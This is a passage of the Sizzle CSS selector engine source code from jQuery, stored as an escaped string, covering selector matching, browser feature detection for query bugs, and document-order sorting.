Firefox<24\n\t\t// Workaround erroneous numeric interpretation of +\"0x\"\n\t\treturn high !== high || escapedWhitespace ?\n\t\t\tescaped :\n\t\t\thigh < 0 ?\n\t\t\t\t// BMP codepoint\n\t\t\t\tString.fromCharCode( high + 0x10000 ) :\n\t\t\t\t// Supplemental Plane codepoint (surrogate pair)\n\t\t\t\tString.fromCharCode( high >> 10 | 0xD800, high & 0x3FF | 0xDC00 );\n\t},\n\n\t// CSS string/identifier serialization\n\t// https://drafts.csswg.org/cssom/#common-serializing-idioms\n\trcssescape = /([\\0-\\x1f\\x7f]|^-?\\d)|^-$|[^\\0-\\x1f\\x7f-\\uFFFF\\w-]/g,\n\tfcssescape = function( ch, asCodePoint ) {\n\t\tif ( asCodePoint ) {\n\n\t\t\t// U+0000 NULL becomes U+FFFD REPLACEMENT CHARACTER\n\t\t\tif ( ch === \"\\0\" ) {\n\t\t\t\treturn \"\\uFFFD\";\n\t\t\t}\n\n\t\t\t// Control characters and (dependent upon position) numbers get escaped as code points\n\t\t\treturn ch.slice( 0, -1 ) + \"\\\\\" + ch.charCodeAt( ch.length - 1 ).toString( 16 ) + \" \";\n\t\t}\n\n\t\t// Other potentially-special ASCII characters get backslash-escaped\n\t\treturn \"\\\\\" + ch;\n\t},\n\n\t// Used for iframes\n\t// See setDocument()\n\t// Removing the function wrapper causes a \"Permission Denied\"\n\t// error in IE\n\tunloadHandler = function() {\n\t\tsetDocument();\n\t},\n\n\tinDisabledFieldset = addCombinator(\n\t\tfunction( elem ) {\n\t\t\treturn elem.disabled === true && elem.nodeName.toLowerCase() === \"fieldset\";\n\t\t},\n\t\t{ dir: \"parentNode\", next: \"legend\" }\n\t);\n\n// Optimize for push.apply( _, NodeList )\ntry {\n\tpush.apply(\n\t\t(arr = slice.call( preferredDoc.childNodes )),\n\t\tpreferredDoc.childNodes\n\t);\n\t// Support: Android<4.0\n\t// Detect silently failing push.apply\n\tarr[ preferredDoc.childNodes.length ].nodeType;\n} catch ( e ) {\n\tpush = { apply: arr.length ?\n\n\t\t// Leverage slice if possible\n\t\tfunction( target, els ) {\n\t\t\tpush_native.apply( target, slice.call(els) );\n\t\t} :\n\n\t\t// Support: IE<9\n\t\t// Otherwise append directly\n\t\tfunction( target, els ) {\n\t\t\tvar j = target.length,\n\t\t\t\ti = 0;\n\t\t\t// Can't trust NodeList.length\n\t\t\twhile ( (target[j++] = els[i++]) ) {}\n\t\t\ttarget.length = j - 1;\n\t\t}\n\t};\n}\n\nfunction Sizzle( selector, context, results, seed ) {\n\tvar m, i, elem, nid, match, groups, newSelector,\n\t\tnewContext = context && context.ownerDocument,\n\n\t\t// nodeType defaults to 9, since context defaults to document\n\t\tnodeType = context ? context.nodeType : 9;\n\n\tresults = results || [];\n\n\t// Return early from calls with invalid selector or context\n\tif ( typeof selector !== \"string\" || !selector ||\n\t\tnodeType !== 1 && nodeType !== 9 && nodeType !== 11 ) {\n\n\t\treturn results;\n\t}\n\n\t// Try to shortcut find operations (as opposed to filters) in HTML documents\n\tif ( !seed ) {\n\n\t\tif ( ( context ? context.ownerDocument || context : preferredDoc ) !== document ) {\n\t\t\tsetDocument( context );\n\t\t}\n\t\tcontext = context || document;\n\n\t\tif ( documentIsHTML ) {\n\n\t\t\t// If the selector is sufficiently simple, try using a \"get*By*\" DOM method\n\t\t\t// (excepting DocumentFragment context, where the methods don't exist)\n\t\t\tif ( nodeType !== 11 && (match = rquickExpr.exec( selector )) ) {\n\n\t\t\t\t// ID selector\n\t\t\t\tif ( (m = match[1]) ) {\n\n\t\t\t\t\t// Document context\n\t\t\t\t\tif ( nodeType === 9 ) {\n\t\t\t\t\t\tif ( (elem = context.getElementById( m )) ) {\n\n\t\t\t\t\t\t\t// Support: IE, Opera, Webkit\n\t\t\t\t\t\t\t// TODO: identify versions\n\t\t\t\t\t\t\t// getElementById can match elements by name instead of ID\n\t\t\t\t\t\t\tif ( elem.id === m ) {\n\t\t\t\t\t\t\t\tresults.push( elem );\n\t\t\t\t\t\t\t\treturn results;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\treturn results;\n\t\t\t\t\t\t}\n\n\t\t\t\t\t// Element context\n\t\t\t\t\t} else {\n\n\t\t\t\t\t\t// Support: IE, Opera, Webkit\n\t\t\t\t\t\t// TODO: identify versions\n\t\t\t\t\t\t// getElementById can match elements by name instead of ID\n\t\t\t\t\t\tif ( newContext && (elem = newContext.getElementById( m )) &&\n\t\t\t\t\t\t\tcontains( context, elem ) &&\n\t\t\t\t\t\t\telem.id === m ) {\n\n\t\t\t\t\t\t\tresults.push( elem );\n\t\t\t\t\t\t\treturn results;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\n\t\t\t\t// Type selector\n\t\t\t\t} else if ( match[2] ) {\n\t\t\t\t\tpush.apply( results, context.getElementsByTagName( selector ) );\n\t\t\t\t\treturn results;\n\n\t\t\t\t// Class selector\n\t\t\t\t} else if ( (m = match[3]) && support.getElementsByClassName &&\n\t\t\t\t\tcontext.getElementsByClassName ) {\n\n\t\t\t\t\tpush.apply( results, context.getElementsByClassName( m ) );\n\t\t\t\t\treturn results;\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t// Take advantage of querySelectorAll\n\t\t\tif ( support.qsa &&\n\t\t\t\t!nonnativeSelectorCache[ selector + \" \" ] &&\n\t\t\t\t(!rbuggyQSA || !rbuggyQSA.test( selector )) &&\n\n\t\t\t\t// Support: IE 8 only\n\t\t\t\t// Exclude object elements\n\t\t\t\t(nodeType !== 1 || context.nodeName.toLowerCase() !== \"object\") ) {\n\n\t\t\t\tnewSelector = selector;\n\t\t\t\tnewContext = context;\n\n\t\t\t\t// qSA considers elements outside a scoping root when evaluating child or\n\t\t\t\t// descendant combinators, which is not what we want.\n\t\t\t\t// In such cases, we work around the behavior by prefixing every selector in the\n\t\t\t\t// list with an ID selector referencing the scope context.\n\t\t\t\t// Thanks to Andrew Dupont for this technique.\n\t\t\t\tif ( nodeType === 1 && rdescend.test( selector ) ) {\n\n\t\t\t\t\t// Capture the context ID, setting it first if necessary\n\t\t\t\t\tif ( (nid = context.getAttribute( \"id\" )) ) {\n\t\t\t\t\t\tnid = nid.replace( rcssescape, fcssescape );\n\t\t\t\t\t} else {\n\t\t\t\t\t\tcontext.setAttribute( \"id\", (nid = expando) );\n\t\t\t\t\t}\n\n\t\t\t\t\t// Prefix every selector in the list\n\t\t\t\t\tgroups = tokenize( selector );\n\t\t\t\t\ti = groups.length;\n\t\t\t\t\twhile ( i-- ) {\n\t\t\t\t\t\tgroups[i] = \"#\" + nid + \" \" + toSelector( groups[i] );\n\t\t\t\t\t}\n\t\t\t\t\tnewSelector = groups.join( \",\" );\n\n\t\t\t\t\t// Expand context for sibling selectors\n\t\t\t\t\tnewContext = rsibling.test( selector ) && testContext( context.parentNode ) ||\n\t\t\t\t\t\tcontext;\n\t\t\t\t}\n\n\t\t\t\ttry {\n\t\t\t\t\tpush.apply( results,\n\t\t\t\t\t\tnewContext.querySelectorAll( newSelector )\n\t\t\t\t\t);\n\t\t\t\t\treturn results;\n\t\t\t\t} catch ( qsaError ) {\n\t\t\t\t\tnonnativeSelectorCache( selector, true );\n\t\t\t\t} finally {\n\t\t\t\t\tif ( nid === expando ) {\n\t\t\t\t\t\tcontext.removeAttribute( \"id\" );\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\t// All others\n\treturn select( selector.replace( rtrim, \"$1\" ), context, results, seed );\n}\n\n/**\n * Create key-value caches of limited size\n * @returns {function(string, object)} Returns the Object data after storing it on itself with\n *\tproperty name the (space-suffixed) string and (if the cache is larger than Expr.cacheLength)\n *\tdeleting the oldest entry\n */\nfunction createCache() {\n\tvar keys = [];\n\n\tfunction cache( key, value ) {\n\t\t// Use (key + \" \") to avoid collision with native prototype properties (see Issue #157)\n\t\tif ( keys.push( key + \" \" ) > Expr.cacheLength ) {\n\t\t\t// Only keep the most recent entries\n\t\t\tdelete cache[ keys.shift() ];\n\t\t}\n\t\treturn (cache[ key + \" \" ] = value);\n\t}\n\treturn cache;\n}\n\n/**\n * Mark a function for special use by Sizzle\n * @param {Function} fn The function to mark\n */\nfunction markFunction( fn ) {\n\tfn[ expando ] = true;\n\treturn fn;\n}\n\n/**\n * Support testing using an element\n * @param {Function} fn Passed the created element and returns a boolean result\n */\nfunction assert( fn ) {\n\tvar el = document.createElement(\"fieldset\");\n\n\ttry {\n\t\treturn !!fn( el );\n\t} catch (e) {\n\t\treturn false;\n\t} finally {\n\t\t// Remove from its parent by default\n\t\tif ( el.parentNode ) {\n\t\t\tel.parentNode.removeChild( el );\n\t\t}\n\t\t// release memory in IE\n\t\tel = null;\n\t}\n}\n\n/**\n * Adds the same handler for all of the specified attrs\n * @param {String} attrs Pipe-separated list of attributes\n * @param {Function} handler The method that will be applied\n */\nfunction addHandle( attrs, handler ) {\n\tvar arr = attrs.split(\"|\"),\n\t\ti = arr.length;\n\n\twhile ( i-- ) {\n\t\tExpr.attrHandle[ arr[i] ] = handler;\n\t}\n}\n\n/**\n * Checks document order of two siblings\n * @param {Element} a\n * @param {Element} b\n * @returns {Number} Returns less than 0 if a precedes b, greater than 0 if a follows b\n */\nfunction siblingCheck( a, b ) {\n\tvar cur = b && a,\n\t\tdiff = cur && a.nodeType === 1 && b.nodeType === 1 &&\n\t\t\ta.sourceIndex - b.sourceIndex;\n\n\t// Use IE sourceIndex if available on both nodes\n\tif ( diff ) {\n\t\treturn diff;\n\t}\n\n\t// Check if b follows a\n\tif ( cur ) {\n\t\twhile ( (cur = cur.nextSibling) ) {\n\t\t\tif ( cur === b ) {\n\t\t\t\treturn -1;\n\t\t\t}\n\t\t}\n\t}\n\n\treturn a ? 1 : -1;\n}\n\n/**\n * Returns a function to use in pseudos for input types\n * @param {String} type\n */\nfunction createInputPseudo( type ) {\n\treturn function( elem ) {\n\t\tvar name = elem.nodeName.toLowerCase();\n\t\treturn name === \"input\" && elem.type === type;\n\t};\n}\n\n/**\n * Returns a function to use in pseudos for buttons\n * @param {String} type\n */\nfunction createButtonPseudo( type ) {\n\treturn function( elem ) {\n\t\tvar name = elem.nodeName.toLowerCase();\n\t\treturn (name === \"input\" || name === \"button\") && elem.type === type;\n\t};\n}\n\n/**\n * Returns a function to use in pseudos for :enabled/:disabled\n * @param {Boolean} disabled true for :disabled; false for :enabled\n */\nfunction createDisabledPseudo( disabled ) {\n\n\t// Known :disabled false positives: fieldset[disabled] > legend:nth-of-type(n+2) :can-disable\n\treturn function( elem ) {\n\n\t\t// Only certain elements can match :enabled or :disabled\n\t\t// https://html.spec.whatwg.org/multipage/scripting.html#selector-enabled\n\t\t// https://html.spec.whatwg.org/multipage/scripting.html#selector-disabled\n\t\tif ( \"form\" in elem ) {\n\n\t\t\t// Check for inherited disabledness on relevant non-disabled elements:\n\t\t\t// * listed form-associated elements in a disabled fieldset\n\t\t\t//   https://html.spec.whatwg.org/multipage/forms.html#category-listed\n\t\t\t//   https://html.spec.whatwg.org/multipage/forms.html#concept-fe-disabled\n\t\t\t// * option elements in a disabled optgroup\n\t\t\t//   https://html.spec.whatwg.org/multipage/forms.html#concept-option-disabled\n\t\t\t// All such elements have a \"form\" property.\n\t\t\tif ( elem.parentNode && elem.disabled === false ) {\n\n\t\t\t\t// Option elements defer to a parent optgroup if present\n\t\t\t\tif ( \"label\" in elem ) {\n\t\t\t\t\tif ( \"label\" in elem.parentNode ) {\n\t\t\t\t\t\treturn elem.parentNode.disabled === disabled;\n\t\t\t\t\t} else {\n\t\t\t\t\t\treturn elem.disabled === disabled;\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\t// Support: IE 6 - 11\n\t\t\t\t// Use the isDisabled shortcut property to check for disabled fieldset ancestors\n\t\t\t\treturn elem.isDisabled === disabled ||\n\n\t\t\t\t\t// Where there is no isDisabled, check manually\n\t\t\t\t\t/* jshint -W018 */\n\t\t\t\t\telem.isDisabled !== !disabled &&\n\t\t\t\t\t\tinDisabledFieldset( elem ) === disabled;\n\t\t\t}\n\n\t\t\treturn elem.disabled === disabled;\n\n\t\t// Try to winnow out elements that can't be disabled before trusting the disabled property.\n\t\t// Some victims get caught in our net (label, legend, menu, track), but it shouldn't\n\t\t// even exist on them, let alone have a boolean value.\n\t\t} else if ( \"label\" in elem ) {\n\t\t\treturn elem.disabled === disabled;\n\t\t}\n\n\t\t// Remaining elements are neither :enabled nor :disabled\n\t\treturn false;\n\t};\n}\n\n/**\n * Returns a function to use in pseudos for positionals\n * @param {Function} fn\n */\nfunction createPositionalPseudo( fn ) {\n\treturn markFunction(function( argument ) {\n\t\targument = +argument;\n\t\treturn markFunction(function( seed, matches ) {\n\t\t\tvar j,\n\t\t\t\tmatchIndexes = fn( [], seed.length, argument ),\n\t\t\t\ti = matchIndexes.length;\n\n\t\t\t// Match elements found at the specified indexes\n\t\t\twhile ( i-- ) {\n\t\t\t\tif ( seed[ (j = matchIndexes[i]) ] ) {\n\t\t\t\t\tseed[j] = !(matches[j] = seed[j]);\n\t\t\t\t}\n\t\t\t}\n\t\t});\n\t});\n}\n\n/**\n * Checks a node for validity as a Sizzle context\n * @param {Element|Object=} context\n * @returns {Element|Object|Boolean} The input node if acceptable, otherwise a falsy value\n */\nfunction testContext( context ) {\n\treturn context && typeof context.getElementsByTagName !== \"undefined\" && context;\n}\n\n// Expose support vars for convenience\nsupport = Sizzle.support = {};\n\n/**\n * Detects XML nodes\n * @param {Element|Object} elem An element or a document\n * @returns {Boolean} True iff elem is a non-HTML XML node\n */\nisXML = Sizzle.isXML = function( elem ) {\n\tvar namespace = elem.namespaceURI,\n\t\tdocElem = (elem.ownerDocument || elem).documentElement;\n\n\t// Support: IE <=8\n\t// Assume HTML when documentElement doesn't yet exist, such as inside loading iframes\n\t// https://bugs.jquery.com/ticket/4833\n\treturn !rhtml.test( namespace || docElem && docElem.nodeName || \"HTML\" );\n};\n\n/**\n * Sets document-related variables once based on the current document\n * @param {Element|Object} [doc] An element or document object to use to set the document\n * @returns {Object} Returns the current document\n */\nsetDocument = Sizzle.setDocument = function( node ) {\n\tvar hasCompare, subWindow,\n\t\tdoc = node ? node.ownerDocument || node : preferredDoc;\n\n\t// Return early if doc is invalid or already selected\n\tif ( doc === document || doc.nodeType !== 9 || !doc.documentElement ) {\n\t\treturn document;\n\t}\n\n\t// Update global variables\n\tdocument = doc;\n\tdocElem = document.documentElement;\n\tdocumentIsHTML = !isXML( document );\n\n\t// Support: IE 9-11, Edge\n\t// Accessing iframe documents after unload throws \"permission denied\" errors (jQuery #13936)\n\tif ( preferredDoc !== document &&\n\t\t(subWindow = document.defaultView) && subWindow.top !== subWindow ) {\n\n\t\t// Support: IE 11, Edge\n\t\tif ( subWindow.addEventListener ) {\n\t\t\tsubWindow.addEventListener( \"unload\", unloadHandler, false );\n\n\t\t// Support: IE 9 - 10 only\n\t\t} else if ( subWindow.attachEvent ) {\n\t\t\tsubWindow.attachEvent( \"onunload\", unloadHandler );\n\t\t}\n\t}\n\n\t/* Attributes\n\t---------------------------------------------------------------------- */\n\n\t// Support: IE<8\n\t// Verify that getAttribute really returns attributes and not properties\n\t// (excepting IE8 booleans)\n\tsupport.attributes = assert(function( el ) {\n\t\tel.className = \"i\";\n\t\treturn !el.getAttribute(\"className\");\n\t});\n\n\t/* getElement(s)By*\n\t---------------------------------------------------------------------- */\n\n\t// Check if getElementsByTagName(\"*\") returns only elements\n\tsupport.getElementsByTagName = assert(function( el ) {\n\t\tel.appendChild( document.createComment(\"\") );\n\t\treturn !el.getElementsByTagName(\"*\").length;\n\t});\n\n\t// Support: IE<9\n\tsupport.getElementsByClassName = rnative.test( document.getElementsByClassName );\n\n\t// Support: IE<10\n\t// Check if getElementById returns elements by name\n\t// The broken getElementById methods don't pick up programmatically-set names,\n\t// so use a roundabout getElementsByName test\n\tsupport.getById = assert(function( el ) {\n\t\tdocElem.appendChild( el ).id = expando;\n\t\treturn !document.getElementsByName || !document.getElementsByName( expando ).length;\n\t});\n\n\t// ID filter and find\n\tif ( support.getById ) {\n\t\tExpr.filter[\"ID\"] = function( id ) {\n\t\t\tvar attrId = id.replace( runescape, funescape );\n\t\t\treturn function( elem ) {\n\t\t\t\treturn elem.getAttribute(\"id\") === attrId;\n\t\t\t};\n\t\t};\n\t\tExpr.find[\"ID\"] = function( id, context ) {\n\t\t\tif ( typeof context.getElementById !== \"undefined\" && documentIsHTML ) {\n\t\t\t\tvar elem = context.getElementById( id );\n\t\t\t\treturn elem ? [ elem ] : [];\n\t\t\t}\n\t\t};\n\t} else {\n\t\tExpr.filter[\"ID\"] =  function( id ) {\n\t\t\tvar attrId = id.replace( runescape, funescape );\n\t\t\treturn function( elem ) {\n\t\t\t\tvar node = typeof elem.getAttributeNode !== \"undefined\" &&\n\t\t\t\t\telem.getAttributeNode(\"id\");\n\t\t\t\treturn node && node.value === attrId;\n\t\t\t};\n\t\t};\n\n\t\t// Support: IE 6 - 7 only\n\t\t// getElementById is not reliable as a find shortcut\n\t\tExpr.find[\"ID\"] = function( id, context ) {\n\t\t\tif ( typeof context.getElementById !== \"undefined\" && documentIsHTML ) {\n\t\t\t\tvar node, i, elems,\n\t\t\t\t\telem = context.getElementById( id );\n\n\t\t\t\tif ( elem ) {\n\n\t\t\t\t\t// Verify the id attribute\n\t\t\t\t\tnode = elem.getAttributeNode(\"id\");\n\t\t\t\t\tif ( node && node.value === id ) {\n\t\t\t\t\t\treturn [ elem ];\n\t\t\t\t\t}\n\n\t\t\t\t\t// Fall back on getElementsByName\n\t\t\t\t\telems = context.getElementsByName( id );\n\t\t\t\t\ti = 0;\n\t\t\t\t\twhile ( (elem = elems[i++]) ) {\n\t\t\t\t\t\tnode = elem.getAttributeNode(\"id\");\n\t\t\t\t\t\tif ( node && node.value === id ) {\n\t\t\t\t\t\t\treturn [ elem ];\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\treturn [];\n\t\t\t}\n\t\t};\n\t}\n\n\t// Tag\n\tExpr.find[\"TAG\"] = support.getElementsByTagName ?\n\t\tfunction( tag, context ) {\n\t\t\tif ( typeof context.getElementsByTagName !== \"undefined\" ) {\n\t\t\t\treturn context.getElementsByTagName( tag );\n\n\t\t\t// DocumentFragment nodes don't have gEBTN\n\t\t\t} else if ( support.qsa ) {\n\t\t\t\treturn context.querySelectorAll( tag );\n\t\t\t}\n\t\t} :\n\n\t\tfunction( tag, context ) {\n\t\t\tvar elem,\n\t\t\t\ttmp = [],\n\t\t\t\ti = 0,\n\t\t\t\t// By happy coincidence, a (broken) gEBTN appears on DocumentFragment nodes too\n\t\t\t\tresults = context.getElementsByTagName( tag );\n\n\t\t\t// Filter out possible comments\n\t\t\tif ( tag === \"*\" ) {\n\t\t\t\twhile ( (elem = results[i++]) ) {\n\t\t\t\t\tif ( elem.nodeType === 1 ) {\n\t\t\t\t\t\ttmp.push( elem );\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\treturn tmp;\n\t\t\t}\n\t\t\treturn results;\n\t\t};\n\n\t// Class\n\tExpr.find[\"CLASS\"] = support.getElementsByClassName && function( className, context ) {\n\t\tif ( typeof context.getElementsByClassName !== \"undefined\" && documentIsHTML ) {\n\t\t\treturn context.getElementsByClassName( className );\n\t\t}\n\t};\n\n\t/* QSA/matchesSelector\n\t---------------------------------------------------------------------- */\n\n\t// QSA and matchesSelector support\n\n\t// matchesSelector(:active) reports false when true (IE9/Opera 11.5)\n\trbuggyMatches = [];\n\n\t// qSa(:focus) reports false when true (Chrome 21)\n\t// We allow this because of a bug in IE8/9 that throws an error\n\t// whenever `document.activeElement` is accessed on an iframe\n\t// So, we allow :focus to pass through QSA all the time to avoid the IE error\n\t// See https://bugs.jquery.com/ticket/13378\n\trbuggyQSA = [];\n\n\tif ( (support.qsa = rnative.test( document.querySelectorAll )) ) {\n\t\t// Build QSA regex\n\t\t// Regex strategy adopted from Diego Perini\n\t\tassert(function( el ) {\n\t\t\t// Select is set to empty string on purpose\n\t\t\t// This is to test IE's treatment of not explicitly\n\t\t\t// setting a boolean content attribute,\n\t\t\t// since its presence should be enough\n\t\t\t// https://bugs.jquery.com/ticket/12359\n\t\t\tdocElem.appendChild( el ).innerHTML = \"<a id='\" + expando + \"'></a>\" +\n\t\t\t\t\"<select id='\" + expando + \"-\\r\\\\' msallowcapture=''>\" +\n\t\t\t\t\"<option selected=''></option></select>\";\n\n\t\t\t// Support: IE8, Opera 11-12.16\n\t\t\t// Nothing should be selected when empty strings follow ^= or $= or *=\n\t\t\t// The test attribute must be unknown in Opera but \"safe\" for WinRT\n\t\t\t// https://msdn.microsoft.com/en-us/library/ie/hh465388.aspx#attribute_section\n\t\t\tif ( el.querySelectorAll(\"[msallowcapture^='']\").length ) {\n\t\t\t\trbuggyQSA.push( \"[*^$]=\" + whitespace + \"*(?:''|\\\"\\\")\" );\n\t\t\t}\n\n\t\t\t// Support: IE8\n\t\t\t// Boolean attributes and \"value\" are not treated correctly\n\t\t\tif ( !el.querySelectorAll(\"[selected]\").length ) {\n\t\t\t\trbuggyQSA.push( \"\\\\[\" + whitespace + \"*(?:value|\" + booleans + \")\" );\n\t\t\t}\n\n\t\t\t// Support: Chrome<29, Android<4.4, Safari<7.0+, iOS<7.0+, PhantomJS<1.9.8+\n\t\t\tif ( !el.querySelectorAll( \"[id~=\" + expando + \"-]\" ).length ) {\n\t\t\t\trbuggyQSA.push(\"~=\");\n\t\t\t}\n\n\t\t\t// Webkit/Opera - :checked should return selected option elements\n\t\t\t// http://www.w3.org/TR/2011/REC-css3-selectors-20110929/#checked\n\t\t\t// IE8 throws error here and will not see later tests\n\t\t\tif ( !el.querySelectorAll(\":checked\").length ) {\n\t\t\t\trbuggyQSA.push(\":checked\");\n\t\t\t}\n\n\t\t\t// Support: Safari 8+, iOS 8+\n\t\t\t// https://bugs.webkit.org/show_bug.cgi?id=136851\n\t\t\t// In-page `selector#id sibling-combinator selector` fails\n\t\t\tif ( !el.querySelectorAll( \"a#\" + expando + \"+*\" ).length ) {\n\t\t\t\trbuggyQSA.push(\".#.+[+~]\");\n\t\t\t}\n\t\t});\n\n\t\tassert(function( el ) {\n\t\t\tel.innerHTML = \"<a href='' disabled='disabled'></a>\" +\n\t\t\t\t\"<select disabled='disabled'><option/></select>\";\n\n\t\t\t// Support: Windows 8 Native Apps\n\t\t\t// The type and name attributes are restricted during .innerHTML assignment\n\t\t\tvar input = document.createElement(\"input\");\n\t\t\tinput.setAttribute( \"type\", \"hidden\" );\n\t\t\tel.appendChild( input ).setAttribute( \"name\", \"D\" );\n\n\t\t\t// Support: IE8\n\t\t\t// Enforce case-sensitivity of name attribute\n\t\t\tif ( el.querySelectorAll(\"[name=d]\").length ) {\n\t\t\t\trbuggyQSA.push( \"name\" + whitespace + \"*[*^$|!~]?=\" );\n\t\t\t}\n\n\t\t\t// FF 3.5 - :enabled/:disabled and hidden elements (hidden elements are still enabled)\n\t\t\t// IE8 throws error here and will not see later tests\n\t\t\tif ( el.querySelectorAll(\":enabled\").length !== 2 ) {\n\t\t\t\trbuggyQSA.push( \":enabled\", \":disabled\" );\n\t\t\t}\n\n\t\t\t// Support: IE9-11+\n\t\t\t// IE's :disabled selector does not pick up the children of disabled fieldsets\n\t\t\tdocElem.appendChild( el ).disabled = true;\n\t\t\tif ( el.querySelectorAll(\":disabled\").length !== 2 ) {\n\t\t\t\trbuggyQSA.push( \":enabled\", \":disabled\" );\n\t\t\t}\n\n\t\t\t// Opera 10-11 does not throw on post-comma invalid pseudos\n\t\t\tel.querySelectorAll(\"*,:x\");\n\t\t\trbuggyQSA.push(\",.*:\");\n\t\t});\n\t}\n\n\tif ( (support.matchesSelector = rnative.test( (matches = docElem.matches ||\n\t\tdocElem.webkitMatchesSelector ||\n\t\tdocElem.mozMatchesSelector ||\n\t\tdocElem.oMatchesSelector ||\n\t\tdocElem.msMatchesSelector) )) ) {\n\n\t\tassert(function( el ) {\n\t\t\t// Check to see if it's possible to do matchesSelector\n\t\t\t// on a disconnected node (IE 9)\n\t\t\tsupport.disconnectedMatch = matches.call( el, \"*\" );\n\n\t\t\t// This should fail with an exception\n\t\t\t// Gecko does not error, returns false instead\n\t\t\tmatches.call( el, \"[s!='']:x\" );\n\t\t\trbuggyMatches.push( \"!=\", pseudos );\n\t\t});\n\t}\n\n\trbuggyQSA = rbuggyQSA.length && new RegExp( rbuggyQSA.join(\"|\") );\n\trbuggyMatches = rbuggyMatches.length && new RegExp( rbuggyMatches.join(\"|\") );\n\n\t/* Contains\n\t---------------------------------------------------------------------- */\n\thasCompare = rnative.test( docElem.compareDocumentPosition );\n\n\t// Element contains another\n\t// Purposefully self-exclusive\n\t// As in, an element does not contain itself\n\tcontains = hasCompare || rnative.test( docElem.contains ) ?\n\t\tfunction( a, b ) {\n\t\t\tvar adown = a.nodeType === 9 ? a.documentElement : a,\n\t\t\t\tbup = b && b.parentNode;\n\t\t\treturn a === bup || !!( bup && bup.nodeType === 1 && (\n\t\t\t\tadown.contains ?\n\t\t\t\t\tadown.contains( bup ) :\n\t\t\t\t\ta.compareDocumentPosition && a.compareDocumentPosition( bup ) & 16\n\t\t\t));\n\t\t} :\n\t\tfunction( a, b ) {\n\t\t\tif ( b ) {\n\t\t\t\twhile ( (b = b.parentNode) ) {\n\t\t\t\t\tif ( b === a ) {\n\t\t\t\t\t\treturn true;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t\treturn false;\n\t\t};\n\n\t/* Sorting\n\t---------------------------------------------------------------------- */\n\n\t// Document order sorting\n\tsortOrder = hasCompare ?\n\tfunction( a, b ) {\n\n\t\t// Flag for duplicate removal\n\t\tif ( a === b ) {\n\t\t\thasDuplicate = true;\n\t\t\treturn 0;\n\t\t}\n\n\t\t// Sort on method existence if only one input has compareDocumentPosition\n\t\tvar compare = !a.compareDocumentPosition - !b.compareDocumentPosition;\n\t\tif ( compare ) {\n\t\t\treturn compare;\n\t\t}\n\n\t\t// Calculate position if both inputs belong to the same document\n\t\tcompare = ( a.ownerDocument || a ) === ( b.ownerDocument || b ) ?\n\t\t\ta.compareDocumentPosition( b ) :\n\n\t\t\t// Otherwise we know they are disconnected\n\t\t\t1;\n\n\t\t// Disconnected nodes\n\t\tif ( compare & 1 ||\n\t\t\t(!support.sortDetached && b.compareDocumentPosition( a ) === compare) ) {\n\n\t\t\t// Choose the first element that is related to our preferred document\n\t\t\tif ( a === document || a.ownerDocument === preferredDoc && contains(preferredDoc, a) ) {\n\t\t\t\treturn -1;\n\t\t\t}\n\t\t\tif ( b === document || b.ownerDocument === preferredDoc && contains(preferredDoc, b) ) {\n\t\t\t\treturn 1;\n\t\t\t}\n\n\t\t\t// Maintain original order\n\t\t\treturn sortInput ?\n\t\t\t\t( indexOf( sortInput, a ) - indexOf( sortInput, b ) ) :\n\t\t\t\t0;\n\t\t}\n\n\t\treturn compare & 4 ? -1 : 1;\n\t} :\n\tfunction( a, b ) {\n\t\t// Exit early if the nodes are identical\n\t\tif ( a === b ) {\n\t\t\thasDuplicate = true;\n\t\t\treturn 0;\n\t\t}\n\n\t\tvar cur,\n\t\t\ti = 0,\n\t\t\taup = a.parentNode,\n\t\t\tbup = b.parentNode,\n\t\t\tap = [ a ],\n\t\t\tbp = [ b ];\n\n\t\t// Parentless nodes are either documents or disconnected\n\t\tif ( !aup || !bup ) {\n\t\t\treturn a === document ? -1 :\n\t\t\t\tb === document ? 1 :\n\t\t\t\taup ? -1 :\n\t\t\t\tbup ? 1 :\n\t\t\t\tsortInput ?\n\t\t\t\t( indexOf( sortInput, a ) - indexOf( sortInput, b ) ) :\n\t\t\t\t0;\n\n\t\t// If the nodes are siblings, we can do a quick check\n\t\t} else if ( aup === bup ) {\n\t\t\treturn siblingCheck( a, b );\n\t\t}\n\n\t\t// Otherwise we need full lists of their ancestors for comparison\n\t\tcur = a;\n\t\twhile ( (cur = cur.parentNode) ) {\n\t\t\tap.unshift( cur );\n\t\t}\n\t\tcur = b;\n\t\twhile ( (cur = cur.parentNode) ) {\n\t\t\tbp.unshift( cur );\n\t\t}\n\n\t\t// Walk down the tree looking for a discrepancy\n\t\twhile ( ap[i] === bp[i] ) {\n\t\t\ti++;\n\t\t}\n\n\t\treturn i ?\n\t\t\t// Do a sibling check if the nodes have a common ancestor\n\t\t\tsiblingCheck( ap[i], bp[i] ) :\n\n\t\t\t// Otherwise nodes in our document sort first\n\t\t\tap[i] === preferredDoc ? -1 :\n\t\t\tbp[i] === preferredDoc ? 1 :\n\t\t\t0;\n\t};\n\n\treturn document;\n};\n\nSizzle.matches = function( expr, elements ) {\n\treturn Sizzle( expr, null, null, elements );\n};\n\nSizzle.matchesSelector = function( elem, expr ) {\n\t// Set document vars if needed\n\tif ( ( elem.ownerDocument || elem ) !== document ) {\n\t\tsetDocument( elem );\n\t}\n\n\tif ( support.matchesSelector && documentIsHTML &&\n\t\t!nonnativeSelectorCache[ expr + \" \" ] &&\n\t\t( !rbuggyMatches || !rbuggyMatches.test( expr ) ) &&\n\t\t( !rbuggyQSA     || !rbuggyQSA.test( expr ) ) ) {\n\n\t\ttry {\n\t\t\tvar ret = matches.call( elem, expr );\n\n\t\t\t// IE 9's matchesSelector returns false on disconnected nodes\n\t\t\tif ( ret || support.disconnectedMatch ||\n\t\t\t\t\t// As well, disconnected nodes are said to be in a document\n\t\t\t\t\t// fragment in IE 9\n\t\t\t\t\telem.document && elem.document.nodeType !== 11 ) {\n\t\t\t\treturn ret;\n\t\t\t}\n\t\t} catch (e) {\n\t\t\tnonnativeSelectorCache( expr, true );\n\t\t}\n\t}\n\n\treturn Sizzle( expr, document, null, [ 